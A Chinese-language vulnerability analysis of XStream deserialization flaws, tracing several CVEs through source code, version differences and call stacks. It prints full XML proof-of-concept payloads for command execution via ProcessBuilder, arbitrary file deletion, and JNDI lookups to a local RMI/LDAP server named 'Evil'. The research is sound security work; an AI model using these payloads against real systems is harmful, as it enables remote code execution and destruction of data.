XStream通览漏洞分析

RoboTerh 2022-08-16 10:04:00

基础

简介

XStream是一个简单的基于Java库,Java对象序列化到XML,反之亦然(即:可以轻易的将Java对象和xml文档相互转换)。

原理

依赖

<dependency>
  <groupId>com.thoughtworks.xstream</groupId>
  <artifactId>xstream</artifactId>
  <version>1.4.1</version>
</dependency>

XStream实现了一套序列化和反序列化机制,核心是通过Converter转换器来将XML和对象之间进行相互的转换,XStream反序列化漏洞的存在是因为XStream支持一个名为DynamicProxyConverter的转换器,该转换器可以将XML中dynamic-proxy标签内容转换成动态代理类对象,而当程序调用了dynamic-proxy标签内的interface标签指向的接口类声明的方法时,就会通过动态代理机制代理访问dynamic-proxy标签内handler标签指定的类方法;利用这个机制,攻击者可以构造恶意的XML内容,即dynamic-proxy标签内的handler标签指向如EventHandler类这种可实现任意函数反射调用的恶意类、interface标签指向目标程序必然会调用的接口类方法;最后当攻击者从外部输入该恶意XML内容后即可触发反序列化漏洞、达到任意代码执行的目的。

EventHandler类

EventHandler类是实现了InvocationHandler的一个类,建立从用户界面到应用程序逻辑的连接

EventHandler类定义的代码如下,其含有target和action属性,在EventHandler.invoke()->EventHandler.invokeInternal()->MethodUtil.invoke()的函数调用链中,会将前面两个属性作为类方法和参数继续反射调用

Converter转换器

具体的Converter转换器: http://x-stream.github.io/converters.html

XStream为Java常见的类型提供了Converter转换器。转换器注册中心是XStream组成的核心部分。

转换器的职责是提供一种策略,用于将对象图中找到的特定类型的对象转换为XML或将XML转换为对象。

简单地说,就是输入XML后它能识别其中的标签字段并转换为相应的对象,反之亦然。

转换器需要实现3个方法:

  • canConvert方法:告诉XStream对象,它能够转换的对象;
  • marshal方法:能够将对象转换为XML时候的具体操作;
  • unmarshal方法:能够将XML转换为对象时的具体操作;

基本使用

Person.java

package pers.xstream;

import java.io.IOException;
import java.io.Serializable;

public class Person implements Serializable {
    private String name;
    private Integer age;
    private Company company;

    public Person(String name, Integer age, Company company) {
        this.name = name;
        this.age = age;
        this.company = company;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public Integer getAge() {
        return age;
    }

    public void setAge(Integer age) {
        this.age = age;
    }

    public Company getCompany() {
        return company;
    }

    public void setCompany(Company company) {
        this.company = company;
    }

    private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
        s.defaultReadObject();
        System.out.println("person readObject....");
    }
}

Company.java

package pers.xstream;

import java.io.IOException;
import java.io.Serializable;

public class Company implements Serializable {
    private String companyName;
    private String companyLocation;

    public Company() {
    }

    public Company(String companyName, String companyLocation) {
        this.companyName = companyName;
        this.companyLocation = companyLocation;
    }

    public String getCompanyName() {
        return companyName;
    }

    public void setCompanyName(String companyName) {
        this.companyName = companyName;
    }

    public String getCompanyLocation() {
        return companyLocation;
    }

    public void setCompanyLocation(String companyLocation) {
        this.companyLocation = companyLocation;
    }

    private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
        s.defaultReadObject();
        System.out.println("company readObject.....");
    }
}

Test.java

package pers.xstream;

import com.thoughtworks.xstream.XStream;

public class Test {
    public static void main(String[] args) {
        XStream xStream = new XStream();
        Person person = new Person("RoboTerh", 19, new Company("xxx", "chengdu"));
        String xml = xStream.toXML(person);
        System.out.println(xml);
    }
}

上面就是将Person类对象转化为xml对象输出的具体代码,同时,在其中Person Company类的实现过程中实现了Serializable接口

Result:

<pers.xstream.Person serialization="custom">
  <pers.xstream.Person>
    <default>
      <age>19</age>
      <company serialization="custom">
        <pers.xstream.Company>
          <default>
            <companyLocation>chengdu</companyLocation>
            <companyName>xxx</companyName>
          </default>
        </pers.xstream.Company>
      </company>
      <name>RoboTerh</name>
    </default>
  </pers.xstream.Person>
</pers.xstream.Person>

If the interface is not implemented, we will get this:

<pers.xstream.Person>
  <name>RoboTerh</name>
  <age>19</age>
  <company>
    <companyName>xxx</companyName>
    <companyLocation>chengdu</companyLocation>
  </company>
</pers.xstream.Person>

why?

we can read the source code to get our answer! First, we will make a breaking point in com.thoughtworks.xstream.XStream#toXML and follow it.

And then call the marshal function

之后在marshallingStrategy.marshal中,跟踪marshallingStrategy方法他是一个XStream类的私有属性,是MarshallingStrategy对象,这个是一个接口,定义了marshal unmarshal方法,ctrl + H查看实现类,有AbstractTreeMarshallingStrategy在他的marshal方法中,调用了TreeMarshaller#start方法,在这个方法中调用了convertAnother方法,其中可以发现实现了Serializable接口的序列化使用的是SerializableConverter转换器

通过反射调用了对应类的readObject方法,所以在实现serializable接口的时候会调用对应的readObject方法

对于TreeMarshaller TreeUnmarshaller的说明

TreeUnmarshaller 树解组程序调用mapper和Converter把XML转化成java对象里面的start方法开始解组convertAnother方法把class转化成java对象

TreeMarshaller 树编组程序调用mapper和Converter把java对象转化成XML里面的start方法开始编组convertAnother方法把java对象转化成XML

如果没有实现接口的类序列化就会使用ReflectionConverter, 即该Converter的原理是通过反射获取类对象并通过反射为其每个属性进行赋值

漏洞分析

sorted-set

CVE-2013-7258

影响版本

1.4.5 1.4.6 1.4.10

版本说明

1.3.1

在这个版本运行payload, 发现

Exception in thread "main" com.thoughtworks.xstream.mapper.CannotResolveClassException: sorted-set : sorted-set

说明不能解析sorted-set标签

1.4 - 1.4.4

因为在TreeSetConverter.unmarshal中,因为需要满足treemap不为空才能调用populateTreeMap,但是sortedMapField默认为null,因此无法成功利用

image-20220728175518342.png

1.4.7 - 1.4.9

ReflectionConverter#canConvert中添加了对eventHandler的过滤

public boolean canConvert(Class type) {
    return ((this.type != null && this.type == type) || (this.type == null && type != null && type != eventHandlerType))
        && canAccess(type);
}
1.4.11及之后

因为在SecurityMapper#readClass获取类之后,通过for循环进行了过滤

for (int i = 0; i < permissions.size(); ++i) {
    final TypePermission permission = (TypePermission)permissions.get(i);
    if (permission.allows(type))
        return type;
}

image-20220728213203539.png

直接对java.beans.EventHandler进行了限制

poc

<sorted-set>
    <dynamic-proxy>
        <interface>java.lang.Comparable</interface>
        <handler class="java.beans.EventHandler">
            <target class="java.lang.ProcessBuilder">
                <command>
                    <string>cmd</string>
                    <string>\C</string>
                    <string>calc</string>
                </command>
            </target>
            <action>start</action>
        </handler>
    </dynamic-proxy>
</sorted-set>

分析

在AbstractTreeMarshallingStrategy.unmarshal()函数中,调用了TreeUnmarshaller.start()函数,即开始解析XML

com.thoughtworks.xstream.core.TreeUnmarshaller#start打下断点

会调用HierarchicalStreams.readClassType()来获取到PoC XML中根标签的类类型

image-20220728152213103.png

跟进readClassType方法

image-20220728152257026.png

mapper.readClass调用中获取了sortedSet跟进

通过一系列适合mapper的寻找,找到了ClassAliasingMapper这个,调用它的readClass方法

image-20220728153026498.png

成功获取到java.util.SortedSet

之后就是调用TreeUnmarshaller#convertAnother方法,跟进

首先就是调用mapper.defaultImplementationOf寻找对应type的默认实现类

之后经过一系列mapper的寻找,成功找到了DefaultImplementationsMapper,获取到了实现类java.util.TreeSet

image-20220728153932269.png

之后通过converterLookup.lookupConverterForType的调用获取对应类的转换器

image-20220728154233975.png

跟进,在其中的逻辑中是通过迭代converters(这个是一个PrioritizedList类型),直到找到了可以转换java.util.TreeSet的转化器

image-20220728154418528.png

找到了TreeSetConverter

image-20220728155203582.png

之后在TreeUnmarshaller#convertAnother中将type类型和获取的converter返回给AbstractReferenceUnmarshaller#convert方法,跟进,在其中调用了getCurrentReferenceKey方法获取当前的Reference键,即对应的标签名,之后将其压入栈中

image-20220728160036087.png

之后调用父类的convert方法即是TreeUnmarshaller#convert方法,首先将type类型压入FastStack栈中,之后调用转换器的unmarshal方法

image-20220728160359847.png

跟进,之后调用了treeMapConverter.populateTreeMap方法,跟进,首先判断是否是第一个元素,如果是就会调用putCurrentEntryIntoMap方法将当前内容填充到map中去

image-20220728161111219.png

跟进,这里调用readItem方法读取标签内的内容,然后将内容放入target这个map中

image-20220728161252773.png

跟进,通过HierarchicalStreams.readClassType来寻找标签的类

image-20220728161339330.png

跟进,之后就会开始寻找dynamic-proxy标签的类,通过和之前类似的方法,在DynamicProxyMapper#readClass方法中寻找到了DynamicProxy

image-20220728162009691.png

之后在com.thoughtworks.xstream.core.TreeUnmarshaller#convertAnother方法中找到这个动态代理类的转换器DynamicProxyConverter

image-20220728162456101.png

之后调用了AbstractReferenceUnmarshaller#convert方法,首先将根标签放入values属性中之后同样调用getCurrentReferenceKey()来获取当前的Reference键即标签名,接着将当前标签名压入parentStack栈中

image-20220728163051063.png

之后调用父类的convert方法,同样将type压入了FastStack栈中之后,调用了converter.unmarshal方法,即来到了DynamicProxyConverter#unmarshal方法中,首先循环它的子标签,如果是interface标签,就会调用mapper.realClass(reader.getValue())找到对应的类,并添加进入interfaces变量中,如果下一个是handler标签,就会通过mapper.realClass(reader.getAttribute(attributeName))获取handler的类型是java.beans.EventHandler,之后跳出循环

image-20220728164642158.png

之后有一个判断,如果没有handtype值,就会抛出异常,之后,将会根据标签里面的内容生成对应接口的动态代理

image-20220728164937727.png

接下来调用了context.convertAnother方法,接下来转换器转换最终得到EventHandler,之后通过Fields.write(HANDLER, proxy, handler);将之前生成的动态代理替换,之后返回代理对象

接下来在com.thoughtworks.xstream.converters.collections.TreeMapConverter#populateTreeMap中,这里会把结果放入result中去

image-20220728170922380.png

之后会调用TreeMap的putAll方法,进而调用了父类的putAll方法

image-20220728171744673.png

调用了put方法,key value都是之前的代理,之后调用了TreeMap的compare方法,进而调用了compareTo方法,这里的k1是代理类,所以会触发对应的invoke方法

image-20220728172346316.png

之后调用了run方法,进而调用了invokeInternal方法,成功调用了ProcessBuilder.start方法执行命令

image-20220728172710840.png

CVE-2021-21351

影响版本
<= 1.4.15
poc
<sorted-set>
  <javax.naming.ldap.Rdn_-RdnEntry>
    <type>ysomap</type>
    <value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'>
      <m__DTMXRTreeFrag>
        <m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'>
          <m__size>-10086</m__size>
          <m__mgrDefault>
            <__useServicesMechanism>false</__useServicesMechanism>
            <m__incremental>false</m__incremental>
            <m__source__location>false</m__source__location>
            <m__dtms>
              <null/>
            </m__dtms>
            <m__defaultHandler/>
          </m__mgrDefault>
          <m__shouldStripWS>false</m__shouldStripWS>
          <m__indexing>false</m__indexing>
          <m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'>
            <fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
              <javax.sql.rowset.BaseRowSet>
                <default>
                  <concurrency>1008</concurrency>
                  <escapeProcessing>true</escapeProcessing>
                  <fetchDir>1000</fetchDir>
                  <fetchSize>0</fetchSize>
                  <isolation>2</isolation>
                  <maxFieldSize>0</maxFieldSize>
                  <maxRows>0</maxRows>
                  <queryTimeout>0</queryTimeout>
                  <readOnly>true</readOnly>
                  <rowSetType>1004</rowSetType>
                  <showDeleted>false</showDeleted>
                  <dataSource>rmi://localhost:15000/CallRemoteMethod</dataSource>
                  <listeners/>
                  <params/>
                </default>
              </javax.sql.rowset.BaseRowSet>
              <com.sun.rowset.JdbcRowSetImpl>
                <default/>
              </com.sun.rowset.JdbcRowSetImpl>
            </fPullParserConfig>
            <fConfigSetInput>
              <class>com.sun.rowset.JdbcRowSetImpl</class>
              <name>setAutoCommit</name>
              <parameter-types>
                <class>boolean</class>
              </parameter-types>
            </fConfigSetInput>
            <fConfigParse reference='../fConfigSetInput'/>
            <fParseInProgress>false</fParseInProgress>
          </m__incrementalSAXSource>
          <m__walker>
            <nextIsRaw>false</nextIsRaw>
          </m__walker>
          <m__endDocumentOccured>false</m__endDocumentOccured>
          <m__idAttributes/>
          <m__textPendingStart>-1</m__textPendingStart>
          <m__useSourceLocationProperty>false</m__useSourceLocationProperty>
          <m__pastFirstElement>false</m__pastFirstElement>
        </m__dtm>
        <m__dtmIdentity>1</m__dtmIdentity>
      </m__DTMXRTreeFrag>
      <m__dtmRoot>1</m__dtmRoot>
      <m__allowRelease>false</m__allowRelease>
    </value>
  </javax.naming.ldap.Rdn_-RdnEntry>
  <javax.naming.ldap.Rdn_-RdnEntry>
    <type>ysomap</type>
    <value class='com.sun.org.apache.xpath.internal.objects.XString'>
      <m__obj class='string'>test</m__obj>
    </value>
  </javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>
分析

这个链子主要是通过javax.naming.ldap.Rdn$RdnEntry#compareTo中对两个value进行的比较,调用了valuecom.sun.org.apache.xpath.internal.objects.XRTreeFragequals方法,进而调用了toString方法,到最后到达了fastjson JdbcRowSetImpl链的调用setAutoCommit方法

tree-map

影响版本

1.4-1.4.6 1.4.10

版本说明

1.3.x

出现错误:

Exception in thread "main" com.thoughtworks.xstream.converters.ConversionException: TreeMap does not contain <comparator> element

PoC中两个子标签元素调用compareTo()进行比较,因此无法利用

1.4.7-1.4.9

ReflectionConverter.canConvert()函数中添加了对EventHandler类的过滤

1.4.11及以后

存在对java.beans.EventHandler的过滤

poc

<tree-map>
    <entry>
        <dynamic-proxy>
            <interface>java.lang.Comparable</interface>
            <handler class="java.beans.EventHandler">
                <target class="java.lang.ProcessBuilder">
                    <command>
                        <string>cmd</string>
                        <string>/C</string>
                        <string>calc</string>
                    </command>
                </target>
                <action>start</action>
            </handler>
        </dynamic-proxy>
        <string>good</string>
    </entry>
</tree-map>

分析

和使用sorted-set标签差不多

在上面的分析中,找到了对应的接口java.util.SortedSet,之后寻找到的实现类是java.util.TreeSet转换器为TreeSetConvertor

这里的实现类是本身,转换器为TreeMapConvertor

jdk.nashorn.internal.objects.NativeString

在 1.4.15及以后被禁掉

CVE-2020-26217

影响版本
<=1.4.13
版本说明
1.3.x
Caused by: com.thoughtworks.xstream.converters.reflection.ObjectAccessException: Cannot construct jdk.nashorn.internal.objects.NativeString as it does not have a no-args constructor
1.4.14及以后

com.thoughtworks.xstream.XStream中添加了对java.lang.ProcessBuilder的过滤

protected void setupSecurity() {
    if (securityMapper == null) {
        return;
    }

    addPermission(AnyTypePermission.ANY);
    denyTypes(new String[]{"java.beans.EventHandler", "java.lang.ProcessBuilder", "javax.imageio.ImageIO$ContainsFilter"});
    denyTypesByRegExp(new Pattern[]{LAZY_ITERATORS, JAVAX_CRYPTO});
    allowTypeHierarchy(Exception.class);
    securityInitialized = false;
}
poc
<map>
    <entry>
        <jdk.nashorn.internal.objects.NativeString>
            <flags>0</flags>
            <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
                <dataHandler>
                    <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
                        <contentType>text/plain</contentType>
                        <is class='java.io.SequenceInputStream'>
                            <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
                                <iterator class='javax.imageio.spi.FilterIterator'>
                                    <iter class='java.util.ArrayList$Itr'>
                                        <cursor>0</cursor>
                                        <lastRet>-1</lastRet>
                                        <expectedModCount>1</expectedModCount>
                                        <outer-class>
                                            <java.lang.ProcessBuilder>
                                                <command>
                                                    <string>calc</string>
                                                </command>
                                            </java.lang.ProcessBuilder>
                                        </outer-class>
                                    </iter>
                                    <filter class='javax.imageio.ImageIO$ContainsFilter'>
                                        <method>
                                            <class>java.lang.ProcessBuilder</class>
                                            <name>start</name>
                                            <parameter-types/>
                                        </method>
                                        <name>start</name>
                                    </filter>
                                    <next/>
                                </iterator>
                                <type>KEYS</type>
                            </e>
                            <in class='java.io.ByteArrayInputStream'>
                                <buf></buf>
                                <pos>0</pos>
                                <mark>0</mark>
                                <count>0</count>
                            </in>
                        </is>
                        <consumed>false</consumed>
                    </dataSource>
                    <transferFlavors/>
                </dataHandler>
                <dataLen>0</dataLen>
            </value>
        </jdk.nashorn.internal.objects.NativeString>
        <string>test</string>
    </entry>
</map>
分析

实例:

package pers.xstream;

import com.thoughtworks.xstream.XStream;

import java.util.HashMap;
import java.util.Map;

class person{
    String name;
    int age;
    public person(String name,int age){
        this.name = name;
        this.age = age;
    }
}

public class MapTest {
    public static void main(String[] args) throws Exception{
        Map map = new HashMap();
        map.put(new person("RoboTerh", 19), "test");

        XStream xStream = new XStream();
        String xml = xStream.toXML(map);
        System.out.println(xml);
    }
}

结果:

<map>
  <entry>
    <pers.xstream.person>
      <name>RoboTerh</name>
      <age>19</age>
    </pers.xstream.person>
    <string>test</string>
  </entry>
</map>

在Xstream将Map生成xml格式数据时,会为s每个Entry对象生成一个<entry>…</entry>元素,并将该Entry中的key与value作为其子元素顺次放置于其中第一个和第二个元素处

这里我们生程xml数据的时候,是用的一个map类型,然后map的key,value分别是一个实例化和一个字符串

最后得到了的数据可以看出来,Xstream生成xml时,其结构应遵循如下结构

<对象>
    <属性1>...</属性1>
    <属性2>...</属性2>
    ...
</对象>

从poc进行剖析

就是一个map类型,entry的key是jdk.nashorn.internal.objects.NativeString,value是test

然后这个类里面的value属性是com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data这个类

ClassAliasingMapper#realClass方法中根据map标签找到了java.util.Map类,在TreeUnmarshaller#convertAnother中找到他的实现类java.util.HashMap, 之后找到了对应的转换器MapConverter

之后一直到MapConverter#putCurrentEntryIntoMap中向target这个HashMap中写入了key和value, 其分别是poc中map标签下的第一个元素和第二个元素,keyjdk.nashorn.internal.objects.NativeString, 之后调用target.put方法,之后就会调用对应得hashCode方法

image-20220729131355164.png

跟进this.getStringValue方法

image-20220729131719019.png

这里判断了对应的value值是否为String类型得值,但是在POC中我们已经将其设置为了一个类对象

image-20220729131828044.png

所以,这里会调用this.value.toString方法,即是com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data#toString方法,跟进,之后会调用this.get方法,跟进

image-20220729132244672.png

之后通过this.dataHandler.getDataSource().getInputStream()获取输入流,这里的dataHandler属性中的dataSource早已经在POC中设置为了com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource, 所以这里调用的是其的getInputStream方法,跟进

image-20220729132941367.png

得到对应的输入流为POC中设置的java.io.SequenceInputStream,之后调用baos.readFrom, 跟进

image-20220729133155226.png

调用了is.read方法。跟进,继续调用了nextStream方法,跟进,这里的e属性为POC中设置的javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator类,值得一提的是,在这前面存在一个if判断语句,POC中也设置了in属性为java.io.ByteArrayInputStream, 使得其为空,得以绕过这个判断语句

image-20220729133424876.png

之后调用了javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator#hasMoreElements方法,跟进,调用了iterator属性的hasNext方法,同样在POC中设置为了javax.imageio.spi.FilterIterator,返回了true,进而调用了nextElement方法,因为在POC中设置其type属性为KEYS,进而调用iterator.next().getKey()

image-20220729134739504.png

跟进,之后在next方法中调用了advance方法,跟进,iter属性仍然是设置的java.util.ArrayList$Itr,调用其hashNext方法,之后调用了iter.next()方法

image-20220729134858394.png

根据POC中的out-class标签返回了一个ProcessBuilder对象,之后会调用filter.filter方法,这里filter属性也在POC中设置了javax.imageio.ImageIO$ContainsFilter, 这里methed为ProcessBuilder.start()方法,name为start, 直接通过反射触发invoke执行命令

image-20220729140022260.png

调用栈

filter:613, ImageIO$ContainsFilter (javax.imageio)
advance:834, FilterIterator (javax.imageio.spi)
next:852, FilterIterator (javax.imageio.spi)
nextElement:153, MultiUIDefaults$MultiUIDefaultsEnumerator (javax.swing)
nextStream:110, SequenceInputStream (java.io)
read:211, SequenceInputStream (java.io)
readFrom:65, ByteArrayOutputStreamEx (com.sun.xml.internal.bind.v2.util)
get:182, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
toString:286, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
getStringValue:121, NativeString (jdk.nashorn.internal.objects)
hashCode:117, NativeString (jdk.nashorn.internal.objects)
hash:339, HashMap (java.util)
put:612, HashMap (java.util)
putCurrentEntryIntoMap:107, MapConverter (com.thoughtworks.xstream.converters.collections)
populateMap:98, MapConverter (com.thoughtworks.xstream.converters.collections)
populateMap:92, MapConverter (com.thoughtworks.xstream.converters.collections)
unmarshal:87, MapConverter (com.thoughtworks.xstream.converters.collections)
convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core)
start:134, TreeUnmarshaller (com.thoughtworks.xstream.core)
unmarshal:32, AbstractTreeMarshallingStrategy (com.thoughtworks.xstream.core)
unmarshal:1404, XStream (com.thoughtworks.xstream)
unmarshal:1383, XStream (com.thoughtworks.xstream)
fromXML:1268, XStream (com.thoughtworks.xstream)
fromXML:1259, XStream (com.thoughtworks.xstream)
main:60, XStreamRCE (pers.xstream)

CVE-2020-26259

这是一个根据jdk.nashorn.internal.objects.NativeString的文件删除漏洞

影响版本
<= 1.4.14
版本说明
1.3.x

和上面差不多

1.4.15及之后

禁用了jdk.nashorn.internal.objects.NativeString

poc
<map>
    <entry>
        <jdk.nashorn.internal.objects.NativeString>
            <flags>0</flags>
            <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
                <dataHandler>
                    <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
                        <contentType>text/plain</contentType>
                        <is class='com.sun.xml.internal.ws.util.ReadAllStream$FileStream'>
                            <tempFile>/test.txt</tempFile>
                        </is>
                    </dataSource>
                    <transferFlavors/>
                </dataHandler>
                <dataLen>0</dataLen>
            </value>
        </jdk.nashorn.internal.objects.NativeString>
        <string>test</string>
    </entry>
</map>
分析

之前差距不大,只是其中的com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource类中is属性的设置不同,这里设置为了com.sun.xml.internal.ws.util.ReadAllStream$FileStream

我们在com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource#getInputStream处打下断点

image-20220729142855683.png

可以得到is属性的值为com.sun.xml.internal.ws.util.ReadAllStream$FileStream类,跟进readFrom方法中,调用了is.read方法,继续跟进,之后又调用了is.close方法,在POC中只对tempFile属性进行了赋值操作,所以,其中的fin属性为空,绕过if语句,在第二个if语句中,存在tempFile属性值为E:/src.txt,之后调用了delete方法进行删除

image-20220729143243157.png

调用栈

close:146, ReadAllStream$FileStream (com.sun.xml.internal.ws.util)
get:183, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
toString:286, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
getStringValue:121, NativeString (jdk.nashorn.internal.objects)
hashCode:117, NativeString (jdk.nashorn.internal.objects)
hash:339, HashMap (java.util)
put:612, HashMap (java.util)
putCurrentEntryIntoMap:107, MapConverter (com.thoughtworks.xstream.converters.collections)
populateMap:98, MapConverter (com.thoughtworks.xstream.converters.collections)
populateMap:92, MapConverter (com.thoughtworks.xstream.converters.collections)
unmarshal:87, MapConverter (com.thoughtworks.xstream.converters.collections)
convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core)
start:134, TreeUnmarshaller (com.thoughtworks.xstream.core)
unmarshal:32, AbstractTreeMarshallingStrategy (com.thoughtworks.xstream.core)
unmarshal:1404, XStream (com.thoughtworks.xstream)
unmarshal:1383, XStream (com.thoughtworks.xstream)
fromXML:1268, XStream (com.thoughtworks.xstream)
fromXML:1259, XStream (com.thoughtworks.xstream)
main:28, WriteFile (pers.xstream)

java.util.PriorityQueue

CVE-2021-21344

影响版本
<= 1.4.15
版本说明
1.3.x

Cannot construct sun.awt.datatransfer.DataTransferer$IndexOrderComparator as it does not have a no-args constructor

1.4.16及之后

https://github.com/x-stream/xstream/compare/XSTREAM_1_4_15...XSTREAM_1_4_16#diff-25808589fab633152848e5b504af8646ee4fa4b9e97765bdf6a3598870869d04L651

image-20220729161202600.png

sun.awt.datatransfer.DataTransferer$IndexOrderComparator这个comparator被禁了

poc
<java.util.PriorityQueue serialization='custom'>
    <unserializable-parents/>
    <java.util.PriorityQueue>
        <default>
            <size>2</size>
            <comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
                <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
                    <packet>
                        <message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
                            <dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>
                                <bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>
                                    <bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>
                                        <bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>
                                            <jaxbType>com.sun.rowset.JdbcRowSetImpl</jaxbType>
                                            <uriProperties/>
                                            <attributeProperties/>
                                            <inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>
                                                <getter>
                                                    <class>com.sun.rowset.JdbcRowSetImpl</class>
                                                    <name>getDatabaseMetaData</name>
                                                    <parameter-types/>
                                                </getter>
                                            </inheritedAttWildcard>
                                        </bi>
                                        <tagName/>
                                        <context>
                                            <marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>
                                                <outer-class reference='../..'/>
                                            </marshallerPool>
                                            <nameList>
                                                <nsUriCannotBeDefaulted>
                                                    <boolean>true</boolean>
                                                </nsUriCannotBeDefaulted>
                                                <namespaceURIs>
                                                    <string>1</string>
                                                </namespaceURIs>
                                                <localNames>
                                                    <string>UTF-8</string>
                                                </localNames>
                                            </nameList>
                                        </context>
                                    </bridge>
                                </bridge>
                                <jaxbObject class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
                                    <javax.sql.rowset.BaseRowSet>
                                        <default>
                                            <concurrency>1008</concurrency>
                                            <escapeProcessing>true</escapeProcessing>
                                            <fetchDir>1000</fetchDir>
                                            <fetchSize>0</fetchSize>
                                            <isolation>2</isolation>
                                            <maxFieldSize>0</maxFieldSize>
                                            <maxRows>0</maxRows>
                                            <queryTimeout>0</queryTimeout>
                                            <readOnly>true</readOnly>
                                            <rowSetType>1004</rowSetType>
                                            <showDeleted>false</showDeleted>
                                            <dataSource>ldap://127.0.0.1:9999/Evil</dataSource>
                                            <params/>
                                        </default>
                                    </javax.sql.rowset.BaseRowSet>
                                    <com.sun.rowset.JdbcRowSetImpl>
                                        <default>
                                            <iMatchColumns>
                                                <int>-1</int>
                                                <int>-1</int>
                                                <int>-1</int>
                                                <int>-1</int>
                                                <int>-1</int>
                                                <int>-1</int>
                                                <int>-1</int>
                                                <int>-1</int>
                                                <int>-1</int>
                                                <int>-1</int>
                                            </iMatchColumns>
                                            <strMatchColumns>
                                                <string>foo</string>
                                                <null/>
                                                <null/>
                                                <null/>
                                                <null/>
                                                <null/>
                                                <null/>
                                                <null/>
                                                <null/>
                                                <null/>
                                            </strMatchColumns>
                                        </default>
                                    </com.sun.rowset.JdbcRowSetImpl>
                                </jaxbObject>
                            </dataSource>
                        </message>
                        <satellites/>
                        <invocationProperties/>
                    </packet>
                </indexMap>
            </comparator>
        </default>
        <int>3</int>
        <string>javax.xml.ws.binding.attachments.inbound</string>
        <string>javax.xml.ws.binding.attachments.inbound</string>
    </java.util.PriorityQueue>
</java.util.PriorityQueue>
分析

前奏

这次的POC主要是通过在反序列化中调用类的readObject方法,在基本使用中有所提及

java.util.PriorityQueue类的readObject方法中打下断点,我们可以发现他仍然在TreeUnmarshaller#start中获取到了标签对应的类java.util.PriorityQueue, 并且使用的转换器是SerializableConverter, 之后在SerialiableConverter#doUnmarshal中调用了

serializationMembers.callReadObject, 进行调用readObject方法

最后来到了其类的readObject方法,和分析CC2链类似,跟进heapify方法

image-20220729163822345.png

接下来继续跟进调用的siftDown, 因为我们在POC中设置了comparatorsun.awt.datatransfer.DataTransferer$IndexOrderComparator, 所以进入if语句调用siftDownUsingComparator

image-20220729164448826.png

跟进,之后调用的comparator.compare方法,跟进IndexOrderComparator

image-20220729164831490.png

跟进,这里的indexMap是在POC中设置的com.sun.xml.internal.ws.client.ResponseContext

image-20220729165022239.png

之后调用了compareIndices, 在ResponseContext中取值中调用了get方法,跟进,之后调用了this.packet.getMessage().getAttachments()这里的packet.message也是POC中设置的com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart, 所以我们直接跟进getAttachments方法

image-20220729170058253.png

之后调用了这里的getMessage方法,紧接着调用了我们POC中设置的dataSource为com.sun.xml.internal.ws.message.JAXBAttachment,调用了他的getInputStream方法,跟进,再次调用asInputStream方法,调用writeTo方法,跟进

image-20220729170201860.png

这里的bridge也是POC中的类com.sun.xml.internal.ws.db.glassfish.BridgeWrapper jaxbObject同样是com.sun.rowset.JdbcRowSetImpl 这个类有点熟悉,就是在Fastjson链中存在有JdbcRowSetImpl这条利用链,我们来看看是否是同一条利用链,调用其marshal方法,跟进,之后再次调用marshal方法,只不过换成了POC中的bridge.bridge的类com.sun.xml.internal.bind.v2.runtime.BridgeImpl, 跟进,再次调用marshal方法,

image-20220729170508284.png

之后将会调用MarshallerImpl#write方法,跟进,之后会调用到jdbcRowSetImpl#getDatabaseMetaData方法中,调用其connect方法,之后在这里存在lookup方法的可控

image-20220729172233042.png

在POC中也有对dataSource的赋值

调用栈

connect:624, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
